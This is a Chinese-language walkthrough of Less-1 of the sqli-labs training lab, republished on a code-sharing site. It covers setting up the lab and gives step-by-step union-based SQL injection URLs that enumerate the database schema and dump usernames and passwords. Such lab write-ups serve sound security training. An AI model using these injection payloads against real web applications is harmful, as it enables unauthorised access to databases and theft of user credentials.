sqli_labs第一關


安裝

https://github.com/Audi-1/sqli-labs下載源代碼

搭建環境用的是phpstudy

編輯sqli\sql-connections\db-creds.inc文件 修改mysql鏈接數據庫帳號密碼。

為了方便看見sql語句,在$sql這句話下面添加echo...這句。

 

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo "your sql statement is ".$sql."<br>";   

 

實驗

第一節:GET – 基於錯誤 – 單引號 – 字符型

添加id=1正常,id=1' 報錯,根據報錯信息可以看出來,輸入的內容被單引號括住了。

http://192.168.2.132/sqli/Less-1/index.php?id=1' --+ 閉合單引號
 http://192.168.2.132/sqli/Less-1/index.php?id=1' order by 3 --+ order by 3正常,4報錯.
 http://192.168.2.132/sqli/Less-1/index.php?id=-1' union select 1,2,3 --+ 爆出位置

 

查詢當前使用的數據庫和基本信息

http://192.168.2.132/sqli/Less-1/index.php?id=-1' union select 1,2,concat_ws(char(32,58,32),user(),database(),version()) --+

 

其中concat_ws()的第一個參數是連接字符串的分隔符,user():返回當前數據庫連接使用的用戶,database():返回當前數據庫連接使用的數據庫,version():返回當前數據庫的版

查詢數據庫security的表

http://192.168.2.132/sqli/Less-1/index.php?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+

 

查詢數據庫security的表user下的列字段

http://192.168.2.132/sqli/Less-1/index.php?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

查詢值,帳號為Dumb,密碼為Dumb

http://192.168.2.132/sqli/Less-1/index.php?id=-1' union select 1,2,concat_ws(char(32,58,32),username,password) from users --+

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM